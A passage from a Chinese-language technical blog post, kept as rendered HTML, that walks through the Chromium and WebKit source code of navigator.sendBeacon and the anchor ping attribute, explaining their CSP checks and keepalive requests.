class="token operator">::</span>          kUSVString<span class="token operator">:</span>        UseCounter<span class="token operator">::</span><span class="token function">Count</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span>                          WebFeature<span class="token operator">::</span>kSendBeaconWithUSVString<span class="token punctuation">)</span><span class="token punctuation">;</span>        allowed <span class="token operator">=</span> PingLoader<span class="token operator">::</span><span class="token function">SendBeacon</span><span class="token punctuation">(</span><span class="token operator">*</span>script_state<span class="token punctuation">,</span> frame<span class="token punctuation">,</span> url<span class="token punctuation">,</span>                                         data<span class="token operator">-></span><span class="token function">GetAsUSVString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    allowed <span class="token operator">=</span> PingLoader<span class="token operator">::</span><span class="token function">SendBeacon</span><span class="token punctuation">(</span><span class="token operator">*</span>script_state<span class="token punctuation">,</span> frame<span class="token punctuation">,</span> url<span class="token punctuation">,</span> <span class="token function">String</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>allowed<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    UseCounter<span class="token operator">::</span><span class="token function">Count</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span> WebFeature<span class="token operator">::</span>kSendBeaconQuotaExceeded<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> allowed<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>開頭的 <code>CanSendBeacon</code> 基本上就是檢查 URL 是否合法而已，合法的話繼續往下走，會判斷要送出的 payload 的 content type，而實際送出是在 <code>PingLoader::SendBeacon</code> 這個方法裡面。</p><p>除此之外可以在程式碼裡面看到 <code>UseCounter::Count</code>，這個是 Chromium 用來追蹤某些功能的使用頻率時會用到的。</p><p><code>PingLoader::SendBeacon</code> 的實作在 <a href="https://source.chromium.org/chromium/chromium/src/+/refs/tags/131.0.6778.205:third_party/blink/renderer/core/loader/ping_loader.cc">third_party&#x2F;blink&#x2F;renderer&#x2F;core&#x2F;loader&#x2F;ping_loader.cc</a>：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">bool <span class="token function">SendBeaconCommon</span><span class="token punctuation">(</span><span class="token keyword">const</span> ScriptState<span class="token operator">&amp;</span> state<span class="token punctuation">,</span>                      LocalFrame<span class="token operator">*</span> frame<span class="token punctuation">,</span>                      <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> url<span class="token punctuation">,</span>                      <span class="token keyword">const</span> BeaconData<span class="token operator">&amp;</span> beacon<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span>           <span class="token operator">-></span><span class="token function">GetContentSecurityPolicyForWorld</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>state<span class="token punctuation">.</span><span class="token function">World</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>           <span class="token operator">-></span><span class="token function">AllowConnectToSource</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> url<span class="token punctuation">,</span> RedirectStatus<span class="token operator">::</span>kNoRedirect<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// We're simulating a network failure here, so we return 'true'.</span>    <span class="token keyword">return</span> true<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpMethod</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPOST<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetKeepalive</span><span class="token punctuation">(</span>true<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetRequestContext</span><span class="token punctuation">(</span>mojom<span class="token operator">::</span>blink<span class="token operator">::</span>RequestContextType<span class="token operator">::</span>BEACON<span class="token punctuation">)</span><span class="token punctuation">;</span>  beacon<span class="token punctuation">.</span><span class="token function">Serialize</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchParameters <span class="token function">params</span><span class="token punctuation">(</span>std<span class="token operator">::</span><span class="token function">move</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span>                         <span class="token function">ResourceLoaderOptions</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>state<span class="token punctuation">.</span><span class="token function">World</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// The spec says:</span>  <span class="token comment">//  - If mimeType is not null:</span>  <span class="token comment">//   - If mimeType value is a CORS-safelisted request-header value for the</span>  <span class="token comment">//     Content-Type header, set corsMode to "no-cors".</span>  <span class="token comment">// As we don't support requests with non CORS-safelisted Content-Type, the</span>  <span class="token comment">// mode should always be "no-cors".</span>  params<span class="token punctuation">.</span><span class="token function">MutableOptions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>initiator_info<span class="token punctuation">.</span>name <span class="token operator">=</span>      fetch_initiator_type_names<span class="token operator">::</span>kBeacon<span class="token punctuation">;</span>  frame<span class="token operator">-></span><span class="token function">Client</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DidDispatchPingLoader</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchUtils<span class="token operator">::</span><span class="token function">LogFetchKeepAliveRequestMetric</span><span class="token punctuation">(</span>      params<span class="token punctuation">.</span><span class="token function">GetResourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetRequestContext</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      FetchUtils<span class="token operator">::</span>FetchKeepAliveRequestState<span class="token operator">::</span>kTotal<span class="token punctuation">)</span><span class="token punctuation">;</span>  Resource<span class="token operator">*</span> resource <span class="token operator">=</span>      RawResource<span class="token operator">::</span><span class="token function">Fetch</span><span class="token punctuation">(</span>params<span class="token punctuation">,</span> frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Fetcher</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> nullptr<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> resource<span class="token operator">-></span><span class="token function">GetStatus</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!=</span> ResourceStatus<span class="token operator">::</span>kLoadError<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>開頭先檢查是否違反 CSP，如果沒有違反，就送出一個 keepalive 的請求，然後回傳是否成功。</p><p>值得注意的是在同個檔案中，也有另一個功能做了類似的事情，叫做 <code>PingLoader::SendLinkAuditPing</code>。在 <code>&lt;a&gt;</code> 標籤上有個屬性叫做 <code>ping</code>，當使用者點了連結，瀏覽器就會發送一個請求到 ping 所指定的位置：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span>  <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://example.com<span class="token punctuation">"</span></span>  <span class="token attr-name">ping</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://blog.huli.tw<span class="token punctuation">"</span></span>  <span class="token punctuation">></span></span>click me<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>這背後一樣是用 keepalive 的 fetch 來實作的：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">void</span> PingLoader<span class="token operator">::</span><span class="token function">SendLinkAuditPing</span><span class="token punctuation">(</span>LocalFrame<span class="token operator">*</span> frame<span class="token punctuation">,</span>                                   <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> ping_url<span class="token punctuation">,</span>                                   <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> destination_url<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>ping_url<span class="token punctuation">.</span><span class="token function">ProtocolIsInHTTPFamily</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">return</span><span class="token punctuation">;</span>  ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpMethod</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPOST<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHTTPContentType</span><span class="token punctuation">(</span><span class="token function">AtomicString</span><span class="token punctuation">(</span><span class="token string">"text/ping"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpBody</span><span class="token punctuation">(</span>EncodedFormData<span class="token operator">::</span><span class="token function">Create</span><span class="token punctuation">(</span>base<span class="token operator">::</span><span class="token function">span_from_cstring</span><span class="token punctuation">(</span><span class="token string">"PING"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kCacheControl<span class="token punctuation">,</span>                             <span class="token function">AtomicString</span><span class="token punctuation">(</span><span class="token string">"max-age=0"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPingTo<span class="token punctuation">,</span>                             <span class="token function">AtomicString</span><span class="token punctuation">(</span>destination_url<span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  scoped_refptr<span class="token operator">&lt;</span><span class="token keyword">const</span> SecurityOrigin<span class="token operator">></span> ping_origin <span class="token operator">=</span>      SecurityOrigin<span class="token operator">::</span><span class="token function">Create</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">ProtocolIs</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"http"</span><span class="token punctuation">)</span> <span class="token operator">||</span>      frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetSecurityOrigin</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">CanAccess</span><span class="token punctuation">(</span>ping_origin<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>        http_names<span class="token operator">::</span>kPingFrom<span class="token punctuation">,</span>        <span class="token function">AtomicString</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  request<span class="token punctuation">.</span><span class="token function">SetKeepalive</span><span class="token punctuation">(</span>true<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetReferrerString</span><span class="token punctuation">(</span>Referrer<span class="token operator">::</span><span class="token function">NoReferrer</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetReferrerPolicy</span><span class="token punctuation">(</span>network<span class="token operator">::</span>mojom<span class="token operator">::</span>ReferrerPolicy<span class="token operator">::</span>kNever<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetRequestContext</span><span class="token punctuation">(</span>mojom<span class="token operator">::</span>blink<span class="token operator">::</span>RequestContextType<span class="token operator">::</span>PING<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchParameters <span class="token function">params</span><span class="token punctuation">(</span>      std<span class="token operator">::</span><span class="token function">move</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span>      <span class="token function">ResourceLoaderOptions</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetCurrentWorld</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  params<span class="token punctuation">.</span><span class="token function">MutableOptions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>initiator_info<span class="token punctuation">.</span>name <span class="token operator">=</span>      fetch_initiator_type_names<span class="token operator">::</span>kPing<span class="token punctuation">;</span>  frame<span class="token operator">-></span><span class="token function">Client</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DidDispatchPingLoader</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchUtils<span class="token operator">::</span><span class="token function">LogFetchKeepAliveRequestMetric</span><span class="token punctuation">(</span>      params<span class="token punctuation">.</span><span class="token function">GetResourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetRequestContext</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      FetchUtils<span class="token operator">::</span>FetchKeepAliveRequestState<span class="token operator">::</span>kTotal<span class="token punctuation">)</span><span class="token punctuation">;</span>  RawResource<span class="token operator">::</span><span class="token function">Fetch</span><span class="token punctuation">(</span>params<span class="token punctuation">,</span> frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Fetcher</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> nullptr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="safari-的-sendbeacon-實作">Safari 的 sendBeacon 實作</span></h3><p>Safari 的實作在 <a href="https://github.com/WebKit/WebKit/blob/WebKit-7620.1.16.111.5/Source/WebCore/Modules/beacon/NavigatorBeacon.cpp">WebKit&#x2F;Source&#x2F;WebCore&#x2F;Modules&#x2F;beacon<br>&#x2F;NavigatorBeacon.cpp</a>：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">ExceptionOr<span class="token operator">&lt;</span><span class="token keyword">bool</span><span class="token operator">></span> <span class="token class-name">NavigatorBeacon</span><span class="token double-colon punctuation">::</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span>Document<span class="token operator">&amp;</span> document<span class="token punctuation">,</span> <span class="token keyword">const</span> String<span class="token operator">&amp;</span> url<span class="token punctuation">,</span> std<span class="token double-colon punctuation">::</span>optional<span class="token operator">&lt;</span>FetchBody<span class="token double-colon punctuation">::</span>Init<span class="token operator">></span><span class="token operator">&amp;&amp;</span> body<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    URL parsedUrl <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">completeURL</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// Set parsedUrl to the result of the URL parser steps with url and base. If the algorithm returns an error, or if</span>    <span class="token comment">// parsedUrl's scheme is not "http" or "https", throw a "TypeError" exception and terminate these steps.</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>parsedUrl<span class="token punctuation">.</span><span class="token function">isValid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"This URL is invalid"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>parsedUrl<span class="token punctuation">.</span><span class="token function">protocolIsInHTTPFamily</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"Beacons can only be sent over HTTP(S)"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">frame</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">shouldBypassMainWorldContentSecurityPolicy</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">checkedContentSecurityPolicy</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">allowConnectToSource</span><span class="token punctuation">(</span>parsedUrl<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token comment">// We simulate a network error so we return true here. This is consistent with Blink.</span>        <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>parsedUrl<span class="token punctuation">)</span><span class="token punctuation">;</span>    request<span class="token punctuation">.</span><span class="token function">setHTTPMethod</span><span class="token punctuation">(</span><span class="token string">"POST"</span>_s<span class="token punctuation">)</span><span class="token punctuation">;</span>    request<span class="token punctuation">.</span><span class="token function">setRequester</span><span class="token punctuation">(</span>ResourceRequestRequester<span class="token double-colon punctuation">::</span>Beacon<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>RefPtr documentLoader <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">loader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        request<span class="token punctuation">.</span><span class="token function">setIsAppInitiated</span><span class="token punctuation">(</span>documentLoader<span class="token operator">-></span><span class="token function">lastNavigationWasAppInitiated</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    ResourceLoaderOptions options<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>credentials <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Credentials<span class="token double-colon punctuation">::</span>Include<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>cache <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Cache<span class="token double-colon punctuation">::</span>NoCache<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>keepAlive <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    options<span class="token punctuation">.</span>sendLoadCallbacks <span class="token operator">=</span> SendCallbackPolicy<span class="token double-colon punctuation">::</span>SendCallbacks<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>body<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        options<span class="token punctuation">.</span>mode <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Mode<span class="token double-colon punctuation">::</span>NoCors<span class="token punctuation">;</span>        String mimeType<span class="token punctuation">;</span>        <span class="token keyword">auto</span> result <span class="token operator">=</span> <span class="token class-name">FetchBody</span><span class="token double-colon punctuation">::</span><span class="token function">extract</span><span class="token punctuation">(</span><span class="token function">WTFMove</span><span class="token punctuation">(</span>body<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> mimeType<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>result<span class="token punctuation">.</span><span class="token function">hasException</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">return</span> result<span class="token punctuation">.</span><span class="token function">releaseException</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">auto</span> fetchBody <span class="token operator">=</span> result<span class="token punctuation">.</span><span class="token function">releaseReturnValue</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>fetchBody<span class="token punctuation">.</span><span class="token function">isReadableStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"Beacons cannot send ReadableStream body"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        request<span class="token punctuation">.</span><span class="token function">setHTTPBody</span><span class="token punctuation">(</span>fetchBody<span class="token punctuation">.</span><span class="token function">bodyAsFormData</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>mimeType<span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            request<span class="token punctuation">.</span><span class="token function">setHTTPContentType</span><span class="token punctuation">(</span>mimeType<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isCrossOriginSafeRequestHeader</span><span class="token punctuation">(</span>HTTPHeaderName<span class="token double-colon punctuation">::</span>ContentType<span class="token punctuation">,</span> mimeType<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                options<span class="token punctuation">.</span>mode <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Mode<span class="token double-colon punctuation">::</span>Cors<span class="token punctuation">;</span>                options<span class="token punctuation">.</span>httpHeadersToKeep<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>HTTPHeadersToKeepFromCleaning<span class="token double-colon punctuation">::</span>ContentType<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">auto</span> cachedResource <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">protectedCachedResourceLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">requestBeaconResource</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token function">WTFMove</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span> options <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>cachedResource<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">logError</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">ASSERT</span><span class="token punctuation">(</span><span class="token operator">!</span>m_inflightBeacons<span class="token punctuation">.</span><span class="token function">contains</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    m_inflightBeacons<span class="token punctuation">.</span><span class="token function">append</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    cachedResource<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">addClient</span><span class="token punctuation">(</span><span class="token operator">*</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到整個流程與 Chromium 是差不多的，先檢查 URL 的合法性，接著檢查 CSP，然後送出一個 keepalive 的請求。</p><p>這呼應到我們之前所說的以及規格上寫的，sendBeacon 底層就是個 keepalive 的 fetch。那 keepalive queue 大小超過的原始碼會在哪裡呢？</p><p>從實作中可以看出如果 queue 的大小超過了，八成就是這一段出錯，因為只有這邊會回傳 false：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">auto</span> cachedResource <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">protectedCachedResourceLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">requestBeaconResource</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token function">WTFMove</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span> options <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>cachedResource<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">logError</span><span class="token punctuation">(</span>cachedResource<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>因此可以往 <code>requestBeaconResource</code> 下去追蹤。除此之外，我們也可以從另一個方向來追蹤原始碼在哪一段。</p><p>還記得剛剛那個送出 8 個長度 10000 的字串的範例嗎？在 Chrome 